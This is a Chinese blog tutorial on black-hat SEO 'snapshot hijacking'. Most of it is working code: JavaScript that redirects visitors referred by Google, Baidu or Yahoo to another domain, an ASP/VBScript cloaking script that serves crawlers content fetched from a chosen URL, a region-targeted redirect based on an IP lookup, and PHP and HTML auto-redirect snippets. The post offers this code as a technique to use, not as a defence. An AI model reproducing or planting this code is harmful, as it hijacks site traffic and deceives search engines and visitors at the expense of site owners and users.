黑帽seo基础手法之快照劫持

0x00劫持流量:

从百度来的时候才会跳转,正常输入网址是打开正常的。好,我们先看一下是怎么实现的,上代码:

<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) 
location.href="http://222.com";
else
location.href="indax.php/index.asp/index.html"
</script>

代码解释:if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) 判断搜索引擎来源,如果来源正确,location.href=”http:222.cn”;跳转到222.cn网站。下面的代码是如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。

遗留问题:如果返回本页面将会被不断刷新。

0x01快照劫持:

<%@ LANGUAGE = VBScript.Encode %><% 
Dim agent
agent=Request.ServerVariables("http_user_agent")
If instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then
linkurl="http://www.xxx.com" *快照网址
Function GetBody(Url) 
Dim objXML
On Error Resume Next
Set objXML = CreateObject("Microsoft.XMLHTTP") 
With objXML 
.Open "Get", Url, False, "", "" 
.Send 
GetBody = .ResponseBody
End With 
GetBody=BytesToBstr(GetBody,"GB2312")
Set objXML = Nothing 
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write strBody
objStream.Position = 0
objStream.Type = 2
objStream.Charset = CodeBase
BytesToBstr = objStream.ReadText 
objStream.Close
set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) 
location.href="http://www.baidu.com";
</script>

代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。

0x02判断地区劫持流量

<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset="GB2312" ></script>
<script type=text/javascript>
if(remote_ip_info.province ==*江西*){这里指定地区
;这里为空表示不跳转 我们留空表示不跳转
}else{否则
window.location.href="http://www.hao123.com";如果不是上面地区 就跳转到这个网址
}
</script>

代码解释:http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js 为ip数据识别;其他代码看注释;

0x03跳转代码参考:

1.php文件

<?php if(file_exists('3.php')){   include('111.php');}else{ include('222.php');}

代码解释:判断有无3.php,返回true或falst,如果true就到111.php,反之到222.php。

2.html文件

<form style='display:none;' id='form1' name='form1' method='post' action=''><input name='apikey' type='text' 

value='1990225' /></form>
<script type="text/javascript">
document.form1.action = "/3.php";
document.form1.submit()
</script>

代码解释:打开直接跳转到3.php。


 上一篇
常见的搜索命令 常见的搜索命令
1)逻辑与/或:AND、OR注意AND、OR必须大写,否则会被认为是普通的单词,而不是搜索指令。与普通编程语言不一样的是,OR指令优先于AND指令。简写:AND指令一般以空格代替,不明确写出。另外AND指令还可以用+代替。OR指令可用|代替
2019-08-24
下一篇 
php报错: Parse error: syntax error, unexpected end of file in php报错: Parse error: syntax error, unexpected end of file in
前言Parse error: syntax error, unexpected end of file in。一开始出现这种错误,以为是编码的问题一直在转换编码,反复检查和数据库编码一样还是出现这种错误。终于在百度上get到了。 00x0错
2019-08-03
  目录